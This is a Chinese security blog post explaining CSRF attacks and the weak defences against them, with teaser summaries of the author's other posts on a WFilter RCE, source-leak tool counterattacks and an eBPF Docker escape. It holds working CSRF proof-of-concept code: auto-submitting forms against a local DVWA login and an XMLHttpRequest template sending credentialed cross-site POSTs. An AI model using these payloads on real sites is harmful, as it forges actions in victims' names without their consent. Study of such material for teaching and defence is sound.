CSRF 原理 利用 防御

引子  

  最近呢挖到某站的一个CSRF。鉴于这个站点的所有者性质有些特殊，是可以随时记过开除我的那种特殊，我就不点名是哪个站也不披露太多细节，讲讲我最近学到的一些CSRF相关的东西代替吧。

CSRF是什么

  CSRF是洋文Cross-Site Request Forgery的缩写，意思是跨站请求伪造。
  通常的攻击过程是受害者先登录正常网站，再被攻击者骗去访问攻击者控制的服务器，最后攻击者通过HTML/JS代码使受害者浏览器带着Cookies向正常网站发包，执行了违背受害者意愿的操作。
Image result for CSRF

CSRF和XSS

  好像总是听到有面试题问什么“CSRF和SSRF的区别”这个问题。说实话这个问题好像没什么好说的，这就像问知网和知乎网的区别一样。我接触到的朋友好像更难分清楚XSS和CSRF的区别，毕竟都是点一个链接就被搞了。但实际上他们区别还是很明显的，XSS是跨站脚本执行，能够以被攻击的正常网站的“身份”在受害者浏览器上面执行JS代码，一般除了需要输密码才能干的事情以外能以受害者身份在该网站上干任何事情。然而CSRF只是让受害者的浏览器发几个包，并不能操纵正常网站上的JS代码，能干的事情一般比XSS少。

CSRF的几种类型

 GET型的CSRF

   GET型的CSRF只需要让受害者发GET型的包就可以了
   攻击者可以用以下方式使受害者浏览器发出该包
<img src="http://website" >
    

  普通的POST型的CSRF

   许多开发者一厢情愿地认为自己的敏感操作换成POST就不会被有事了，但这个观点被证明是错的。这里就讲几个不同的CSRF POST payload
   首先，一个普通的攻击者可以用BURP自带的CSRF POC生成一个POC
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://127.0.0.1/dvwa-TOM/login.php" method="POST">
      <input type="hidden" name="username" value="fuckyou" />
      <input type="hidden" name="password" value="fuckyou" />
      <input type="hidden" name="Login" value="Login" />
      <input type="hidden" name="user&#95;token" value="45863ff755160362fbe8cd6c524301cf" />
      <input type="submit" value="Submit request" />
    </form>

  </body>
</html>
    但是这个POC显然是没什么实战价值的，不仅需要受害者点那个“Submit request",而且点完后还会跳到被攻击的网站，傻子都猜到这个有问题
  网上流传的另一类POC
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://thewind/dvwa-TOM/login.php" id="1"  method="POST">
      <input type="hidden" name="username" value="fuckyou" />
      <input type="hidden" name="password" value="fuckyou" />
      <input type="hidden" name="Login" value="Login" />
      <input type="hidden" name="user&#95;token" value="45863ff755160362fbe8cd6c524301cf" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
        var f=document.getElementById("1");
        f.submit();
    </script>
  </body>
</html>
  这个POC无需用户再次点击就可以自动发包了，但是还是会跳到受攻击网站那儿去。这两类POC的广泛流传使得一票程序员相信POST的CSRF根本无法隐蔽攻击，没有实用性质。但是真的就只能这样了吗？如果只是这样我也就不会写出这么一篇文章来了。其实攻击者完全可以用XMLHttpRequest发送POST包而无需尴尬跳转，所以我们来看看最后能用的POC
<html>
  <body>
<script>
    function CSRF()
    {
            var xmlhttp = null;
            if (window.XMLHttpRequest)
                xmlhttp=new XMLHttpRequest();
            else if (window.ActiveXObject)
                xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");//兼容IE浏览器xml
            xmlhttp.open("POST","目标URL",true)
            xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
            xmlhttp.withCredentials = true; 
            xmlhttp.send("POST数据");

    }
    CSRF();
    </script>
  </body>
</html>
    这个POC才是真正能够实战使用的POC，只会闷声发包还不被CORS阻拦，没有恼人的跳转，一步到位。

  特殊Content-Type的POST型的CSRF

  上述POC已经能发包了，但是Content-Type若是改成x/json还是会被CORS拦截，如果遇到特殊Content-Type类型的CSRF，我们有两种可能的解决办法
  法一：如果对方服务器足够的“包容”,那我们用application/x-www-form-urlencoded作为Content-Type也是可以的
  法二：使用Flash发包
               参见https://www.freebuf.com/articles/web/164234.html

    

CSRF的不安全的防御导致的绕过手段    

  除了改成POST操作之类的伪防御以外，还有些正确的但容易被用错的防御

  Token可被获取

    许多开发者会在操作的时候加入CSRF Token。本来这是安全的，但是这个Token也可能在用户在被攻击的网站内点击链接的时候泄漏。如果在点出链接的时候用户的URL栏中有这个Token，这个Token就会被发出去的Referer参数泄漏。
    因此在设计站内信之类的设计的时候，建议把所有发过来的网址设计一个跳转，清除敏感的Referer

  Referer绕过

    检验Referer也是一种可行方法，但有的时候检验的方式错误或者放掉空Referer也可以绕过
    CSRF 花式绕过Referer技巧已经有大佬说的很明白了，我就不缀述了

结尾

     尽管CSRF在OWASP中已不幸消失于Top 10，但是许多小型的CMS许多小网站都没有对此防护，平常想要水CVE的时候还是可以挖几个玩玩的
   

评论

发表评论

此博客中的热门博文

局域网监控软件WFilter ICF 鸡肋0day RCE漏洞挖掘

图片
  0x00关于本文 逛freebuf的时候看到了这篇文章， 关于PDD员工发帖溯源联想到的相关技术与实现 ，其中提到了一个叫做wfilter的局域网监控软件。 这个软件官网提供了下载链接，支持10天实用，于是我就下下来研究一番。 作为一个搞安全的人，我最感兴趣的是这个软件本身是否存在缺陷，毕竟这类用于监控的安全软件自身出现漏洞是最有戏剧性的事情了 0x01不同寻常 Web管理 Wfilter通过串联/旁路的方式进行部署，同时提供一个Web管理接口供管理员进行远程管理。而作为一个Web狗，我自然把重心放在了这个Web管理接口上了。 这个Web管理接口不同寻常的第一点就是登录之后不会返回任何Cookies，而且请求接口的时候也不会带Cookies或者任何特殊的Headers 那它是怎么进行鉴别的呢？ 测试了一番之后发现居然是根据IP地址来鉴别的，一旦管理者登录，wfilter就会记录下管理者的IP地址，然后允许其访问这些接口。 这么诡异的鉴别方式大概率搭配了一个诡异的后端实现，结果我用火绒剑一看，发现后台是通过CGI运行的。也就是说想要审计这个软件还得去逆向这个EXE！ 算了，逆向就逆向吧，正好试试IDA7.5效果怎么样 0x01对于cgiproj.exe的逆向分析 这个Web接口的特点是通过/fcgi?cmd=【功能名】来调用，因此在IDA里面搜索相关的字符串就可以找到实现通过功能名来执行不同功能的函数了。 这个函数非常的大，以至于我需要修改IDA的hexrays支持的最大函数大小来让IDA能够成功反编译这个函数（Web狗实在是不想啃汇编了）。 经过一番猜测和实验，我发现这个调用sub_BF65E0中的参数包含了功能名字，而v266[1]中存放的则是其对应的函数。通过这些信息我可以查看具体接口是如何实现。 0x02 思路1：找到无需鉴权的功能，直接拿下服务器！ 实现这个思路，简单来说就两个步骤，第一个是找到无需鉴权的功能，第二个是逆向分析然后找到有漏洞功能然后利用。 为了找到无需鉴权就能使用的功能，简单起见，我搜集了那个大函数中的所有的字符串，然后拿到接口中去fuzz，接着发现viewHelp,helpSearch,login,mobileCode,mlogin,logout,remoteLogin,viewToolTip,ExecuteNoLogin,forget
阅读全文

别想偷我源码：通用的针对源码泄露利用程序的反制（常见工具集体沦陷）

图片
  0x00 关于本文     是的没错 我又去蹂躏安全工具了，和以前我单个单个地欺负不同，这次发现的攻击手段是通用的，可以通杀大部分源码泄露漏洞利用程序。      本文会包含常见泄露漏洞的原理介绍（Git/Svn），利用工具自身的安全风险分析，简单易懂的POC制作方式，针对常见工具的攻击测试，以及提升反制威力的方法及展望。 0x01Git泄露：漏洞原理介绍      Git是什么大家应该都很清楚（不知道Git是啥的人多半是不肯来光临这个博客的）      有些开发人员直接把代码clone到服务器的web目录来部署，但是开发人员或许不知道的是，clone下来的不只是代码，还有一个.git目录，这个目录被叫做版本库。攻击者可以通过访问这个目录，解析其中的文件，dump整站源码。     想要更深入地理解Git泄露漏洞，了解攻击流程，就需要了解.git目录的结构     tree一下这个目录，发现内容如下      index文件中包含了这个项目中的各个文件的信息，包括文件路径和Git对象的对应的40位哈希值。在这里我们不需要对Git对象理解的很深入，只需要知道里面包含了文件内容，是让攻击者垂涎欲滴的东西就可以了。      想要拿到Git对象，就需要转去objects目录。objects目录存放了所有的git对象，对于一个git对象，40位哈希的前两位会作为目录名，而后面的38位会作为文件名，存在objects下面。举个例子，一个Git对象那个的hash是cb75d8439f004f41d5f85ffa5f8d017df395651a，那么它就会被存在cb/75d8439f004f41d5f85ffa5f8d017df395651a。     知道了这些信息之后，就可以知道Git泄露攻击是如何进行的了，首先攻击者访问index文件，解析后得到文件名和对象哈希。接着按着对象哈希一个一个去objects目录获取到Git对象，解析后得到文件。 0x02 Git泄露利用工具的安全风险     显而易见的，手动解析index文件并去下载然后再去解析Git对象是一项烦人又重复的活，因此有大量的工具被开发出来解放黑客们的双手。这些工具可以将整个攻击流程自动化，自动下载项目的所有文件，并且重建整个项目的目录结构。     但是在这个过程中存在一个严重的安全风险，这些工具在重建项目的
阅读全文

复现基于eBPF实现的Docker逃逸

图片
0x00 关于本文     最近搞毕业设计在研究Docker逃逸，如果只把 CDK工具 的东西复现一遍（或者照抄），那诚意不足，也失掉了我刻意选我不熟悉领域的题目的意义所在，于是想自己动手做点东西。     看到 seebug上基于eBPF的逃逸 和 ScUpax0s的容器逃逸文章 ，我意识到基于eBPF的逃逸可以做一做，虽然他们都写了思路贴了部分代码片段，但毕竟没有放完整的代码出来，我自己踩坑实现一遍，可以学点东西，也能算是工作量。     文章中的代码实现已上传至 Github 。     在实现的过程中，ScUpax0s给了我许多指点，让我少走了很多弯路，感谢他！ 0x01 eBPF为什么能帮助Docker逃逸     eBPF技术允许用户在用户态编写代码，被verifier扫描鉴定无问题后，送入内核执行。     e BPF可以在Linux系统的各个地方插桩，在执行到指定位置时，执行用户自定的代码，实现数据搜集和修改。 因此 eBPF使得用户可以在用户态高效安全地监控Linux的方方面面。     能看，还能改，黑客自然也可以拿它来使坏。更妙的是，在Docker环境中，容器和宿主机共享同一个内核，因此如果容器被赋予了CAP_SYS_ADMIN能力，成功在容器中加载了eBPF程序的话，eBPF程序将能够直接在系统的内核中运行，无视容器的各类隔离机制。因此在宿主机环境中作恶的eBPF，在容器中照作不误，它能在宿主机环境里面干上面，那就能在容器里干什么，突破隔离一步到位。 0x02 通过BPF劫持cron进行逃逸     尽管看起来很容易，但真正实现逃逸还需要一番周折。eBPF的代码仅能在触发插桩点的时候执行，它能够读参数，对指定地址的用户内存读写，但无法直接发起一个系统调用，弹一个shell回来。      seebug上基于eBPF的逃逸 给出了一种思路，即利用cron进行逃逸。      cron服务在Linux系统上实现了计划任务，它每隔一段时间检查配置文件是否被更改过，如果更改了就读取配置文件，根据配置文件的描述设定定时的命令执行。因此通过劫持cron对配置文件的访问，篡改文件的更改时间和读取内容，即可欺骗cron执行我们预定的命令，而cron是运行在宿主机上的，因此欺骗cron执行了命令相当于在宿主机中执行了命令，也就是逃逸。 0x03 程序整体结构
阅读全文